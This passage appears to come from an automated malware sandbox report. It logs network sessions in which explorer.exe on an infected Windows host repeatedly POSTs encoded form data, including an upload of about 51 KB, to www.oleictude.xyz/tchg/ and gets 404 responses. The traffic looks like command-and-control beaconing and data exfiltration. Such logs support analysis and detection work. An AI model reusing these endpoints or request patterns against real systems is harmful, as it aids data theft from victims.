May 30, 2023 11:08:29.835655928 CEST	403	IN	Data Raw: 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 66 6f 63 75 73 Data Ascii: archive-block__list-element-link:active,.webarchive-block__list-element-link:focus{text-decoration:underline}b
May 30, 2023 11:08:29.846292973 CEST	404	IN	Data Raw: 35 37 30 0d 0a 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 2e 64 6f 6d 61 69 6e 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 32 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f Data Ascii: 570ody{margin:0}.domain h1{font-size:2.2em;font-weight:normal;text-decoration:none;text-transform:lowercase;color:#949494}#container-domain{display:block;text-align:center} </style><script type="text/javascript"> var dto = {"uiO

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.11.20	49859	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:38.534024000 CEST	1823	OUT	POST /tchg/ HTTP/1.1 Host: www.oleictude.xyz Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.oleictude.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.oleictude.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 67 30 46 54 50 52 78 31 53 62 78 67 4d 72 59 38 58 75 79 73 59 76 61 6f 28 46 78 50 37 4c 42 67 61 6b 62 6f 77 76 67 38 70 65 50 53 77 57 37 6c 6f 5a 77 62 61 75 5a 53 72 52 62 4b 78 65 64 56 4d 55 77 61 39 4b 32 4f 61 4b 61 73 30 58 32 39 70 77 30 62 38 50 7e 34 4a 34 65 75 4b 64 51 41 4c 36 46 73 6f 57 43 59 53 43 79 67 34 6c 43 76 7a 7a 42 6c 53 4d 73 42 39 75 4d 6f 7a 6d 31 4a 73 62 56 57 47 73 6f 42 41 78 48 30 79 44 77 31 41 33 32 6b 6f 64 6b 67 43 30 30 5a 6e 4b 42 36 6f 64 67 32 58 59 68 30 58 4c 57 77 52 43 65 66 47 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=g0FTPRx1SbxgMrY8XuysYvao(FxP7LBgakbowvg8pePSwW7loZwbauZSrRbKxedVMUwa9K2OaKas0X29pw0b8P~4J4euKdQAL6FsoWCYSCyg4lCvzzBlSMsB9uMozm1JsbVWGsoBAxH0yDw1A32kodkgC00ZnKB6odg2XYh0XLWwRCefGA).
May 30, 2023 11:13:39.485235929 CEST	1823	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:13:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.11.20	49860	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:41.130824089 CEST	1825	OUT	POST /tchg/ HTTP/1.1 Host: www.oleictude.xyz Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.oleictude.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.oleictude.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 67 30 46 54 50 52 78 31 53 62 78 67 4e 4c 49 38 56 4a 6d 73 66 50 61 72 6a 31 78 50 31 72 42 6b 61 6b 58 6f 77 71 59 73 75 74 72 53 7e 58 4c 6c 70 59 77 62 64 75 5a 53 67 78 62 54 75 4f 64 65 4d 55 38 53 39 4f 79 4f 61 4b 4f 73 79 68 43 39 39 51 30 55 6b 66 7e 5f 65 49 65 76 4f 64 51 57 4c 36 42 65 6f 55 7e 59 52 79 65 67 35 6a 75 76 67 57 39 6d 42 63 73 44 32 4f 4d 76 39 47 31 44 73 62 49 68 47 73 67 72 42 42 28 30 78 6a 51 31 50 58 32 6a 39 39 6b 6e 41 30 31 55 6a 6f 51 6c 6b 38 30 55 46 49 5a 4e 50 37 28 6a 54 41 44 73 57 58 53 4d 43 37 5a 61 6a 64 34 59 6f 74 6a 79 67 37 58 74 68 34 61 55 6c 52 28 6c 54 78 4b 6f 4d 43 31 6d 62 33 69 55 51 36 57 46 47 30 4b 34 75 6a 38 58 55 58 65 48 72 7a 56 52 48 45 59 43 39 6b 4f 6d 61 61 36 78 7a 47 34 6e 62 76 6f 71 31 6a 69 79 6a 59 65 6a 31 49 59 37 69 73 48 61 35 75 70 39 77 5a 43 68 4e 69 79 64 43 79 68 44 34 77 75 49 65 6b 42 30 62 74 68 69 54 61 69 4d 4a 50 6b 4c 32 38 51 74 46 33 38 52 36 44 71 41 67 4f 30 4b 34 50 6d 73 58 7a 34 53 6b 67 70 42 6f 59 41 6b 6c 74 71 46 51 77 4e 64 6f 75 5a 74 46 4e 46 7a 58 6f 34 73 6e 72 58 47 46 72 55 49 7e 6d 73 6d 72 72 58 34 43 48 70 5f 5a 62 5a 37 78 37 42 6f 67 32 7a 43 37 67 79 50 4f 73 61 76 55 34 62 67 38 66 6e 78 75 57 76 65 30 6e 7a 64 39 4c 57 42 68 52 55 58 59 71 48 54 59 57 73 41 72 36 4e 73 49 58 64 4d 49 52 63 6b 35 79 52 63 50 76 65 43 49 32 53 39 52 67 7e 67 35 4d 59 69 73 74 35 42 6f 43 76 43 45 31 70 59 4d 4e 64 51 42 69 42 5a 61 68 28 68 4f 42 78 62 72 55 68 43 37 42 4a 54 44 4a 30 67 62 4f 77 4b 49 34 69 6b 68 2d 5a 7a 68 65 77 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=g0FTPRx1SbxgNLI8VJmsfParj1xP1rBkakXowqYsutrS~XLlpYwbduZSgxbTuOdeMU8S9OyOaKOsyhC99Q0Ukf~_eIevOdQWL6BeoU~YRyeg5juvgW9mBcsD2OMv9G1DsbIhGsgrBB(0xjQ1PX2j99knA01UjoQlk80UFIZNP7(jTADsWXSMC7Zajd4Yotjyg7Xth4aUlR(lTxKoMC1mb3iUQ6WFG0K4uj8XUXeHrzVRHEYC9kOmaa6xzG4nbvoq1jiyjYej1IY7isHa5up9wZChNiydCyhD4wuIekB0bthiTaiMJPkL28QtF38R6DqAgO0K4PmsXz4SkgpBoYAkltqFQwNdouZtFNFzXo4snrXGFrUI~msmrrX4CHp_ZbZ7x7Bog2zC7gyPOsavU4bg8fnxuWve0nzd9LWBhRUXYqHTYWsAr6NsIXdMIRck5yRcPveCI2S9Rg~g5MYist5BoCvCE1pYMNdQBiBZah(hOBxbrUhC7BJTDJ0gbOwKI4ikh-Zzhew.
May 30, 2023 11:13:41.649023056 CEST	1825	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:13:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.11.20	49861	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:13:43.725548983 CEST	1838	OUT	POST /tchg/ HTTP/1.1 Host: www.oleictude.xyz Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.oleictude.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.oleictude.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 67 30 46 54 50 52 78 31 53 62 78 67 4e 4c 49 38 56 4a 6d 73 66 50 61 72 6a 31 78 50 31 72 42 6b 61 6b 58 6f 77 71 59 73 75 74 6a 53 7e 6c 7a 6c 6f 37 49 62 63 75 5a 53 74 52 62 4f 75 4f 64 66 4d 55 30 57 39 4c 71 65 61 49 32 73 79 32 47 39 38 69 63 55 68 66 7e 36 51 6f 65 74 4b 64 51 6b 4c 36 46 43 6f 55 36 49 53 43 36 67 34 68 47 76 69 56 56 6c 4a 73 73 42 32 4f 4d 64 33 6d 30 38 73 62 64 6b 47 73 73 72 42 48 28 30 77 51 34 31 4e 45 65 6a 6d 39 6b 6b 54 55 31 50 71 49 51 71 6b 38 77 71 46 49 5a 64 50 35 50 6a 54 43 62 73 45 47 53 50 42 62 5a 61 39 74 34 62 73 74 6d 37 67 37 4b 75 68 37 47 55 6c 53 28 6c 56 68 4b 6f 49 6a 31 6c 62 58 69 6f 42 71 57 65 43 30 47 77 75 67 42 6d 55 57 36 48 72 48 39 52 47 33 77 43 28 46 4f 6d 58 61 36 7a 75 57 34 30 4f 66 6f 66 31 6a 53 75 6a 63 71 7a 31 4b 55 37 6a 4f 28 61 70 5f 70 2d 6b 4a 43 72 42 43 79 4d 47 79 6c 78 34 77 66 4a 65 6b 41 73 62 76 4e 69 54 71 79 4d 62 4f 6b 49 37 4d 51 71 49 58 39 56 7a 6a 32 61 67 4f 6f 34 34 4f 75 38 58 30 49 53 7e 41 70 42 35 50 63 6a 74 64 71 65 59 51 4e 44 6c 4f 59 74 46 4e 59 69 58 70 39 62 6e 61 37 47 45 62 45 49 6f 57 73 6c 37 4c 58 38 52 6e 70 35 50 72 5a 37 78 37 39 6b 67 32 28 43 75 41 36 50 50 62 32 76 52 76 6e 67 37 76 6d 62 75 57 76 31 30 6e 33 2d 39 4c 4f 5f 68 52 6b 39 59 70 72 54 5a 44 49 41 73 2d 5a 6a 4e 6e 64 4e 66 42 63 4e 6e 43 64 48 50 72 7e 77 49 32 44 49 52 58 4f 67 34 4d 49 69 6f 74 35 43 6a 43 76 46 44 31 70 43 47 74 51 42 42 69 64 7a 61 68 6a 4c 4f 43 78 62 76 41 55 45 76 7a 45 4d 58 4c 73 69 64 59 59 35 45 65 7e 35 35 66 52 55 38 37 6b 4e 61 5a 4c 6b 6c 4a 34 39 48 50 37 4d 53 74 77 49 6a 4f 79 4e 47 35 62 41 6a 79 69 43 76 39 6c 41 49 70 44 43 68 54 71 5a 6d 78 62 63 51 76 4c 73 38 50 35 63 4f 6d 7a 6e 4b 35 62 6f 76 50 7e 54 38 38 4d 35 4c 66 65 63 28 78 28 6c 66 7a 77 67 74 73 47 37 30 31 77 4c 71 71 36 78 63 70 33 4c 54 5f 6e 4d 38 33 4f 30 5a 61 61 58 67 37 52 54 7a 4d 74 65 53 59 6b 46 66 57 66 2d 4d 54 30 44 30 37 61 76 66 39 33 4f 37 41 6b 67 70 63 71 77 4a 6f 77 62 32 62 72 68 7a 56 75 32 70 73 76 6d 50 72 67 63 44 49 4b 50 50 35 70 38 35 6e 35 77 68 68 63 63 73 70 56 30 67 45 70 7a 6f 64 36 53 76 76 53 30 48 53 4a 2d 33 34 57 58 4f 5a 50 6d 69 33 35 32 64 30 71 6d 37 34 35 53 54 65 44 7a 28 6a 4c 65 5a 34 59 6c 57 36 78 44 41 67 59 66 64 6a 72 5a 51 31 7e 59 71 61 66 55 62 41 62 30 4b 62 63 67 6e 70 33 45 67 39 50 63 79 70 37 48 49 4b 57 46 66 70 41 61 7a 5f 41 6d 44 6d 78 66 38 6b 69 47 75 37 6a 4a 79 58 62 63 72 75 44 46 47 31 66 4a 48 42 32 7a 65 71 73 43 75 38 77 56 72 54 7a 75 7e 58 50 62 6a 30 6e 72 72 66 77 56 75 41 4c 4a 30 6f 37 66 7a 43 6f 5a 55 6c 7a 6a 57 66 44 33 4d 48 6b 48 6a 6d 59 57 45 7a 4e 4c 70 69 7e 6e 4e 6e 58 32 42 51 55 4d 71 58 7e 49 4f 39 64 6e 28 65 39 64 62 37 53 66 50 44 33 31 4a 75 47 53 50 73 6f 57 68 5f 69 6d 55 32 46 34 79 36 55 4e 67 4b 51 6e 6f 45 37 63 47 72 4d 37 76 38 55 7a 54 51 53 37 36 71 73 4d 6f 4f 72 2d 63 62 66 30 4f 4b 78 44 4e 2d 66 67 71 36 4f 4e 6d 52 47 6c 73 6e 44 41 63 44 57 5a 61 64 56 35 6c 6c 28 42 39 37 6f 63 45 62 53 76 74 5f 4f 62 4d 66 34 6d 6c 37 41 54 28 68 4d 4b 65 36 67 37 57 33 57 4a 37 36 34 4c 6f 65 6c 53 7e 74 47 6c 7e 46 51 6c 36 59 57 30 48 47 50 64 71 65 6b 68 73 79 56 66 50 64 6e 55 28 48 38 38 47 5f 50 32 37 65 54 65 72 5f 65 33 4b 53 31 6a 4b 4e 7a 46 75 72 73 41 53 63 65 61 31 46 37 5f 61 78 4c 5f 65 79 77 6b 58 70 51 74 66 62 49 55 36 47 61 58 35 78 79 62 43 47 7e 53 6d 75 7a 41 43 38 78 6b 37 67 66 70 76 79 6f 54 52 58 5a 77 50 5a 64 52 6f 5a 36 6b 4f 62 46 79 54 77 69 52 49 66 51 79 4d 4e 4f 56 47 6a 28 30 39 4d 65 7a 68 35 34 75 75 39 56 57 4a 55 7e 65 43 59 67 32 48 62 28 5f 5a 76 30 39 6d 5a 46 6b 52 64 38 61 7a 6c 4b 52 48 4c 6f 54 7a 48 47 31 51 4c 78 44 72 30 69 6b 41 65 6a 2d 4b 66 4f 6a 6b 43 78 58 75 4d 44 62 7a 4a 72 51 44 37 66 77 57 34 76 67 38 35 58 44 73 36 6a 70 6f 2d 79 43 42 70 39 58 48 39 63 47 74 4d 6c 51 7e 30 4d 61 45 6e 6b 4b 47 78 7a 4b 35 4c 50 36 7e 4d 4e 59 35 63 72 55 6e 74 49 55 38 34 78 53 7a 68 67 57 50 69 63 49 56 34 31 73 61 4b 59 6c 41 51 47 64 48 33 48 53 45 4f 6e 47 51 68 70 31 30 Data Ascii: O0qEM=g0FTPRx1SbxgNLI8VJmsfParj1xP1rBkakXowqYsutjS~lzlo7IbcuZStRbOuOdfMU0W9LqeaI2sy2G98icUhf~6QoetKdQkL6FCoU6ISC6g4hGviVVlJssB2OMd3m08sbdkGssrBH(0wQ41NEejm9kkTU1PqIQqk8wqFIZdP5PjTCbsEGSPBbZa9t4bstm7g7Kuh7GUlS(lVhKoIj1lbXioBqWeC0GwugBmUW6HrH9RG3wC(FOmXa6zuW40Ofof1jSujcqz1KU7jO(ap_p-kJCrBCyMGylx4wfJekAsbvNiTqyMbOkI7MQqIX9Vzj2agOo44Ou8X0IS~ApB5PcjtdqeYQNDlOYtFNYiXp9bna7GEbEIoWsl7LX8Rnp5PrZ7x79kg2(CuA6PPb2vRvng7vmbuWv10n3-9LO_hRk9YprTZDIAs-ZjNndNfBcNnCdHPr~wI2DIRXOg4MIiot5CjCvFD1pCGtQBBidzahjLOCxbvAUEvzEMXLsidYY5Ee~55fRU87kNaZLklJ49HP7MStwIjOyNG5bAjyiCv9lAIpDChTqZmxbcQvLs8P5cOmznK5bovP~T88M5Lfec(x(lfzwgtsG701wLqq6xcp3LT_nM83O0ZaaXg7RTzMteSYkFfWf-MT0D07avf93O7AkgpcqwJowb2brhzVu2psvmPrgcDIKPP5p85n5whhccspV0gEpzod6SvvS0HSJ-34WXOZPmi352d0qm745STeDz(jLeZ4YlW6xDAgYfdjrZQ1~YqafUbAb0Kbcgnp3Eg9Pcyp7HIKWFfpAaz_AmDmxf8kiGu7jJyXbcruDFG1fJHB2zeqsCu8wVrTzu~XPbj0nrrfwVuALJ0o7fzCoZUlzjWfD3MHkHjmYWEzNLpi~nNnX2BQUMqX~IO9dn(e9db7SfPD31JuGSPsoWh_imU2F4y6UNgKQnoE7cGrM7v8UzTQS76qsMoOr-cbf0OKxDN-fgq6ONmRGlsnDAcDWZadV5ll(B97ocEbSvt_ObMf4ml7AT(hMKe6g7W3WJ764LoelS~tGl~FQl6YW0HGPdqekhsyVfPdnU(H88G_P27eTer_e3KS1jKNzFursAScea1F7_axL_eywkXpQtfbIU6GaX5xybCG~SmuzAC8xk7gfpvyoTRXZwPZdRoZ6kObFyTwiRIfQyMNOVGj(09Mezh54uu9VWJU~eCYg2Hb(_Zv09mZFkRd8azlKRHLoTzHG1QLxDr0ikAej-KfOjkCxXuMDbzJrQD7fwW4vg85XDs6jpo-yCBp9XH9cGtMlQ~0MaEnkKGxzK5LP6~MNY5crUntIU84xSzhgWPicIV41saKYlAQGdH3HSEOnGQhp10in5IQQg~kw4FHTXquBrxMVFRh8noM3A2LhNg75mOWTEN8Tk59sYQ8os8oupWaWPPjBIcOzK9Nlp2TVOHZFjiwHxZhZh5-anzNnb9TQrF_j3o4IbZ8(OlzERjubmhaATW_kyyzoa(4pfi0jXbOJwxkMhpl26dy6rsqbTr-AjtHmTG3VIFP7d8RJDICO1eRkztLaX6gUcIktmoXxBrGUovzY0p7v4vDfJsuaFgd6dA4uwzDPWCB1JLvrsfPhshLCQRJjQsx04D9gKAPSAKIrEtKWRa3sNpHHaXT07jEZhoQ9PfnPGy9c8jpeNbVmEeczF0QOFvEp5kQEUlX(uA-MHF6qFhodndP9B~PbjKl56lhiTH8setDX096PqsIeSGMGWoEsteXZhri3etAtFbUP26QRGWYJtu69WSE6AhYdH16Njyz1E1erO5L4CRw9ntfboSSv2xzLAehlQyQtgZRmJLfRGtYj4LimBFY5Liw4aUDGbH-6PaLuAN5GHFV(I(78Y5gy-y_RsLfGQKd6IprhvyVPUTFAGcj(zn2D3bRqa~pe21Q28f2Hh8xr6lgyuc-suhwe2IHZv7vbTNMcomIhWxnayGwxCKwsPb7KLr3u2UC7sAJut0Ajh5kM_sh3emTE7qeLBO6KmWh0Pk-REFYWA(WkbEOUa6yLAD_QSanvEEfm9T7C_oyPfQIdRpECKFUmdUT~iddK6t8CN6ClzQCLFJ4mvQJornuqWuYTjOmuTyuoviuKp1rcRxsdOxOUWR5M2kY7NgcQTc6QCGLQP5bBKwDBks1QSjOOvd8dqUK3q~w4_US8ZqSawOLJXYvFLZr39oHiOyA6JwSRvvL80ZyGOeWwOj7CxQxvL85aEsKXUTEsfuoZXOOvWS1v_swPatdI_LC0dr02qEpvurFFhlnc6up6CW0Ive15HtcXDJNLCf0u62ba23mapHkO3gPWSJRkUOaTe5UfZRUDGFRUwWXgGr0YD8KArblNyC_zhYhfxLMMpbYO3UbmJPmVVkTITgP4ezD1Ylz6asPf07K(LaiHqNsjtTzp6Uic5TlNZNm4vKl5SU-~zejw7A9YR6XvDl06mK4xN3U5CcnN1(1THDx5cXfikfLtGfhMv9TZopiaZDyc9RUvv(vplciFEku366sCS5hqBGpfg~HzXomXisO9VrBOaZZhlRPj3xlpz2xYQJ48js9nFhxZViEUHyd29Jy(zmGZxf5903glKoba1km9IAR15Bg9iUHK5vzxlHHihjE(S9t(j8rVDveAQJWJe~27AilTPXeoiRToL8WHwODtFZCgGnz60EMsblru2p6DdPrVlsFSm9gq8KLYzG0Ni75WfM2CR3CqlUM9ePfLr4Qem5M90XhOvqC9kRpCmdGWSGRPNHPQ7~qSmTwuIGde6pYngtJAtECVqtt1ynMFwpQAwLRWkLbkQPOVg(eyr7TJWpnw2X2xTMlIgoDkMH7R0tyxDFsvXCEYeViE5HVAurFqzo8TtHG7hSdMyMScnFxqkeuByePsdRulNjvwABI46HKmXbnCrRBWrnOx0sT6fZUYOAjMYq4AoiyEIGbYVyFXVpHreTu2lBMvjxgYpR9Q863Mgy-45u56pLwrAQ1XGRSzIzBwCb-DYJiaA2vq-getFXiyqCGp7Q0~cQXwDp2JppQamAB1aHIA7cKk17ezTur1_tEPTToKwWDv4NtlTKaDqqHRTJ6o7ZxRqDOWP8OPj8MomFCoSmXpENxHTN9KTLSHRiacqifTUa29xdkkcWf3uQHyyQJ0N0WMy26YEz7UrDArmZ8nceRgk9MHkgO3xc7SMZGplikHgnQn8mQCQ3VPEwUUBffmu1DPW3EWx9rSaysKk1FpnRcvo2O(zlZJHAX(czHOurRT7Ryr3yeAx99cuTn7ZBkpuh2Pi6vZYtpjY4zltcqSM7Q(IPL2C(MEiXTZQU8JKc6Mkm7XD0KTNfUVZeM0UvKpmkRHkhqGj9NHJYfSM7ddK0_UsVzAZIg9sgiOnng7FTXndISl1kl4xdftQIAoe6hTdp9irX1SjCtUHxUa5C5nGIhfB87sj(9P_w58Sgc6ddv9w6UWALPQ3VJBz0r6tukSsVuw5ma5f(t3DCZtW9vQakDEmEXpf4ajLq0yo60mdDBqMVYhbXNWz3pKeT4MDmlaN9bp-YZ1gs5YI2cpklSczq2n3TsrajdFVJx4XXYUhco7CLS2nxhwcFjyltgq_8GLSRZL497TCdZx3szh7diDxVeclAk4bMK2iQ68_i4StZ8AE0r(1TAovcEOnbICJd-m-fozGgN85f0n2Xh3iPNLvwfHahv5NdDxatojjaGYlis~AQDmArToa9VKwYQYAEwe5W5921b1ei0wo8rG-Fnblzf0DjYrHmA1M92iALBTPmq6a7c5Mcri09RgMEFD3O_DS61elrKcZDUuP0Ns74MXmygXS5JpgB7ggq1H6dGMtQxwq(fVoWV(AcuDmA0tXcPFbk4YpahAXTMzWz_chgQqSwR(YSMelCjWiwFKuikCQJZy2hUJQnstN(2MGUhEUebzdw9pcK5M6fXwhfggst0EzxdPoW1f9JXt95RGr9M867Ap2unIwQ61ezlBx~izCd7pC2ylmZReIYJYSLNcWOaxtHM(kHQjVUBKQMPn1KogkWy04kJLrmx1rEj(1WIBXpJPhAVm9613GAOUXKsR42ofkVIpwOBXuj5iaF3brfwmvPTI9IbDCHxsy
May 30, 2023 11:13:43.800802946 CEST	1845	OUT	Data Raw: 73 77 66 78 44 6a 59 65 6e 79 6a 6b 67 50 69 39 6f 7e 35 31 61 39 59 65 4a 6e 4c 61 72 6f 6e 67 53 78 2d 68 79 71 4b 36 53 4c 76 47 4e 4a 38 51 64 77 49 51 64 4e 54 68 5f 31 56 38 58 33 65 37 6d 47 39 6f 47 42 63 56 34 49 55 35 6d 4e 4b 43 4a 51 Data Ascii: swfxDjYenyjkgPi9o~51a9YeJnLarongSx-hyqK6SLvGNJ8QdwIQdNTh_1V8X3e7mG9oGBcV4IU5mNKCJQwmif52tRDF6ssM49UHOnVcvqAnQE60ukxocHlECyLk3mxvrYjXSXUJRcKM3XUphs7u440d-sYaUDelp9g4PS3O1LzXh37WQS5DgyFgAJyqS4kcXf_PgE-7-VDZMJ5UQUeo0Orq2tfrOygI1LdF-bTu1GK46Wyfv5n
May 30, 2023 11:13:43.800889015 CEST	1854	OUT	Data Raw: 78 79 44 35 74 4f 33 46 35 6b 48 4c 73 52 51 49 6f 45 4a 32 6c 64 4e 66 42 33 79 31 65 63 70 69 74 6c 58 39 37 72 35 5a 33 76 39 59 50 4f 73 4f 46 6f 68 45 49 59 65 6c 73 6b 59 66 31 76 63 4a 4c 56 6b 53 63 51 76 6c 56 61 58 49 36 28 43 52 6b 36 Data Ascii: xyD5tO3F5kHLsRQIoEJ2ldNfB3y1ecpitlX97r5Z3v9YPOsOFohEIYelskYf1vcJLVkScQvlVaXI6(CRk6EYIYJQKYe4Me2WegUDyfQBbs6vdWFVxo0LScP6uj8MLLUEXIdZmSYYc0Dt-vgTh6bWX4ap8JJUjxFSeoxNN9cnuMg00bdTeszLFKKYQxeLrQr0yuZGFffVYelycd3Sjn3vgOKdq095CWh~2JdYQZJI45Z0L0jNFei
May 30, 2023 11:13:43.801237106 CEST	1860	OUT	Data Raw: 48 79 72 41 53 61 45 50 45 6a 33 6d 67 6d 57 37 5a 63 6f 30 71 32 64 6d 55 50 53 54 51 46 36 51 72 37 37 62 71 36 61 73 36 65 69 4b 47 68 4e 31 41 6f 34 65 57 48 61 48 39 31 6b 4f 39 7e 39 57 65 4f 4f 54 62 73 73 43 56 7a 38 56 68 65 49 57 42 68 Data Ascii: HyrASaEPEj3mgmW7Zco0q2dmUPSTQF6Qr77bq6as6eiKGhN1Ao4eWHaH91kO9~9WeOOTbssCVz8VheIWBh4HK7sEMmtSxVYJPYRZyoYGGjw1NSMIVo9WlPgyZ(kub4GFYCUXjUCJjYAH9nBeS8MK4Pc5hhyw0P2j1vlwR1WiMuo1-mWjtNvAZ4ckZ8DHlfXywhacIMm0ZriOl9jNMtdaZFXz3pXPxO22hrtBuDooaNJepe2c8ks
May 30, 2023 11:13:43.801438093 CEST	1864	OUT	Data Raw: 4f 42 6b 6b 70 4e 39 4a 43 37 72 39 58 4e 64 53 65 4c 70 71 42 54 32 52 4c 58 6c 4e 4c 70 30 4a 6e 4c 59 35 62 53 36 4b 51 77 62 54 54 31 56 43 71 69 65 4c 69 30 6c 4d 5a 68 76 49 4d 41 4b 44 51 54 46 4f 6d 74 42 38 32 4f 5a 53 45 51 59 35 67 68 Data Ascii: OBkkpN9JC7r9XNdSeLpqBT2RLXlNLp0JnLY5bS6KQwbTT1VCqieLi0lMZhvIMAKDQTFOmtB82OZSEQY5ghVpW8pvraRQSVT0j8aTFjhfjCyPYtCAsa-FgBRkufDLKrsm5uRo5mAgIokiRGtxtZc8U2WlIoeFO16FqEZoZGWg9RI7GqOXV7S3xKOz26yIHYnaIExc2RJC6oGFbnmqhKcKwbjgbCQsX1OetqEYPDPWM~ZW66O3Cg-
May 30, 2023 11:13:43.827404022 CEST	1864	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:13:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
May 30, 2023 11:13:43.876643896 CEST	1871	OUT	Data Raw: 45 39 74 51 39 34 47 65 61 55 4b 5a 39 43 6b 66 45 74 7a 69 56 38 51 50 57 52 54 66 44 37 49 58 70 42 4a 30 61 62 5f 4c 77 4c 78 73 68 6b 66 4d 31 32 48 70 74 53 4f 41 79 75 6d 67 30 4c 6b 73 6c 72 77 74 78 62 31 51 77 35 56 50 71 6a 39 7a 44 4f Data Ascii: E9tQ94GeaUKZ9CkfEtziV8QPWRTfD7IXpBJ0ab_LwLxshkfM12HptSOAyumg0Lkslrwtxb1Qw5VPqj9zDOhpM5Oe2KI1L~uedv-4TO-cCaUTG5Q~S45F2M9Kr09zc9eklEJHuqZSrPo3ZqQJYxrtN8gJZQ24ijtdtutZDOHcEzgMu7fs1(JjGuKGoVae3Bp7OX-enOTlrnm1rRO(x~k651E~zamWUIZ77Zs~yFGpuOqh31JCzod
May 30, 2023 11:13:43.876770020 CEST	1878	OUT	Data Raw: 67 55 7a 30 48 77 44 66 65 38 37 69 61 33 54 54 56 4a 2d 28 45 78 4a 70 74 79 4d 67 71 41 4f 55 6e 65 41 34 6a 61 70 64 66 65 34 78 65 71 6b 58 44 67 6a 35 46 4a 66 74 74 28 7a 61 6f 78 50 62 49 4c 78 28 36 54 43 38 65 4a 6e 34 4b 50 63 41 35 32 Data Ascii: gUz0HwDfe87ia3TTVJ-(ExJptyMgqAOUneA4japdfe4xeqkXDgj5FJftt(zaoxPbILx(6TC8eJn4KPcA52qLftZxVBPAYtqAETPjbOAgHsqOtp39QjL2aDPdZoszjyUHoXMg52oAMWGK33x~ibqSyRc~bYrVVwnG-hnSxGkfKK9q6gZynRfhFvTgSFf2B3iCyZBr2u-lXaBYgrWKixb42tZJWtt1OeRVGSQ01mtGPnTOjhxVFMR

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.11.20	49862	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
